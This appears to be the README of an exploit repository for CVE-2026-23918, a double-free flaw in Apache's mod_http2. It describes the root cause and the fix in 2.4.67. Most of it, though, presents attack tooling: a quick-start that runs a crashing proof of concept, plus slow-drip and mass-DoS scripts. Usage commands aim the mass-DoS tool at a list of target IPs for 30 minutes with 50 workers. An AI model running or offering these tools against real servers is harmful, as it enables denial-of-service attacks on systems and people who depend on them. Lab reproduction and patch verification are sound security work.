CVE-2026-23918: Apache HTTP/2 Double-Free DoS

CVE-2026-23918 | Apache HTTP Server 2.4.66 | CWE-415: Double Free | CVSS 8.8 | Fixed in 2.4.67

A double-free vulnerability in mod_http2 (h2_mplx.c) allows remote attackers to cause a denial of service (worker crash) via rapid RST_STREAM frames that trigger a race condition between c1c2_stream_joined() and m_stream_cleanup().

---

Quick Start

# 1. Start the lab
docker-compose up --build -d

# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443

# 3. Watch the crash
docker logs -f apache-lab

# 4. Clean up
docker-compose down -v

Result: Server crashes in ~30s–3min with SIGSEGV — reliable DoS confirmed.

---

Exploits

File	Description
poc.py	Rapid-RST — Fast attack, crashes servers in 30s–3min
exploits/slow-drip.py	Slow Drip — Low-bandwidth sustained attack
exploits/mass-dos.py	Mass DoS — Multi-target sustained DoS

Mass DoS Usage

# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt

# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7

---

What It Exploits

The vulnerability triggers when:

1. A stream is joined by both c1c2_stream_joined() and m_stream_cleanup() simultaneously
2. Both add the same stream to m->spurge without deduplication
3. h2_purge_then_destroy() destroys the stream twice → double-free → segfault

---

Mitigation

Upgrade to Apache 2.4.67 or later.

• NVD — CVE-2026-23918
• Apache Security Advisory

---

Deep Analysis

Full vulnerability analysis, root cause walkthrough, exploitation notes, and remediation guidance: → rhasan.com/CVE-2026-23918

---

Credits

Discovered by	Bartlomiej Dmitruk (striga.ai) · Stanislaw Strzalkowski (isec.pl)
Reported	2025-12-10
Fixed	Apache 2.4.67

---

References

• CWE-415: Double Free
• oss-sec ML

---

⭐ Star this repo if you found it useful!

Stars